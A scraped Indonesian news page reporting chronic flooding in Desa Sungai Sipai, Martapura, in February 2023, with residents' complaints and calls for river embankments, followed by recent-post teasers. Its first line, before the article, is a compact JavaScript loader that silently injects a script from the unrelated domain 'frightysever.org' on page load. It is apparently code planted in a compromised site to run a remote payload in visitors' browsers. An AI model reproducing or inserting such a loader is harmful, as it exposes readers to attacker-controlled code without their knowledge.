(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Jadi Langganan Banjir, Desa Sungai Sipai Martapura Minim Perhatian


KANALKALIMANTAN.COM, MARTAPURA – Desa Sungai Sipai di Kecamatan Martapura merupakan salah satu desa di Kabupaten Banjar yang masih menjadi langganan bencana banjir sejak tahun 2021.

Kini, kembali terjadi di awal tahun 2023 ini sejumlah jalan hingga pemukiman warga di Desa Sungai Sipai digenangi air dengan ketinggian setengah meter.

Hal itu terpantau pada Selasa (28/2/2023), di sepanjang Jalan Veteran Desa Sungai Sipai, genangan air tak hanya mengenangi jalanan namun juga memasuki pertokoan warga yang berdagang.

Zainal, salah seorang pelaku usaha di jalan itu mengungkapkan genangan air pada tahun 2023 kali ini lebih dalam dan semakin meninggi dari tahun sebelumnya.

 

Baca juga: Dilanda Hujan Ekstrem dan Banjir, Kalsel Belum Tetapkan Status Tanggap Darurat Bencana

“Ya bisa dibilang langgganan di mana tahun 2021 itu kan semua desa terdampak, lalu tahun 2022 kemarin itu sudah lumayan gak terlalu dalam tapi tahun ini entah kenapa tambah dalam,” ujar Zainal, pelaku usaha di jalan Veteran Desa Sungai Sipai, pada Selasa (28/2/2023).

Sementara itu terpantau akses jalan utama tiga buah komplek turut digenangi air dengan ketinggian masih selutut kaki orang dewasa.

Seperti di Komplek Fanama Indah Permai dan Komplek Al-Kautsar Residence, air masih menggenangi sekitar 200 meter jalanan utama terhitung dari pintu gerbang komplek.

“Minggu lalu sempat surut tapi sejak Jumat setelah itu balik lagi ke sini air sungainya meluap dan disini gak tahan menampung airnya,” ujar Surya salah seorang warga Komplek Fanama Indah Permai.

Baca juga: Pipa 630 Milimeter Tersambung, Suplai Air PAM Bandarmasih di Sungai Andai Tambah Deras 

Di Komplek Luthfia Tunggal, dikatakan Surya, air menggenangi jalan di bagian belakang komplek perumahan tersebut.

“Kalau Lutfia Tunggal masuk di depannya gak ada air, tapi di belakangnya lumayan dalam sampe seminggu lalu rumah RT sudah pakai apar-apar karena sudah kemasukan air,” sebutnya.

Genangan air ini sangat menyulitkan warga komplek, di mana hanya itu akses jalan yang digunakan warga untuk pergi beraktivitas sehari-harinya.

Bahkan warga rela berjalan kaki menempuh banjir hingga akhirnya bisa sampai menuju rumah masing-masing, lantaran akses jalan tak bisa dilalui roda dua maupun roda empat.

Menurutnya, genangan air ini akan terus bertahan dan bahkan meninggi hingga setengah bulanan. Sama seperti yang terjadi di bulan-bulan sebelumnya.

Baca juga: PLN Antisipasi Ancaman Padam Akibat Gangguan Transmisi di Jalur SUTT

Warga berharap, banjir dari luapan air sungai di wilayah desa itu dapat ditindak lanjuti oleh pemerintah. Seperti diberikan siring di wilayah aliran sungai yang persis berada di depan komplek tersebut.

“Jalan utama ini sebenarnya bisa aja sungai sungai ini dilakukan siring, tapi entah kenapa di sini tidak ada ditinjau oleh pemerintah, jadi kalo sungai meluap gak sampai masuk ke jalan lagi,” harap warga. (kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell


Al Ghifari

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

2 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

6 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

14 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

15 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

17 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

18 jam ago

This website uses cookies.